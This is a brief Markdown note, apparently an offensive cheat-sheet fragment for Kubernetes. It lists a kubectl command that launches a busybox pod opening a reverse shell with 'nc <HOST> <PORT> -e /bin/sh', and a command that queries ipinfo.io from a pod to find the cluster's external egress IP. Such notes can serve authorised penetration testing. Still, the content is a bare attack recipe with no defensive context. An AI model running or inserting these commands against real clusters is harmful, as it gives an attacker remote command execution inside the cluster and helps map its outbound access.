5 lines
273 B
Markdown
5 lines
273 B
Markdown
- Run a Reverse Shell from the Kubernetes Cluster to your Host
|
|
- `kubectl run pod-shell --image=busybox -- nc <HOST> <PORT> -e /bin/sh`
|
|
|
|
- Get the External IP for Egress Communication to the Internet
|
|
- `kubectl exec $POD_NAME -n $NAMESPACE -- curl https://ipinfo.io/json` |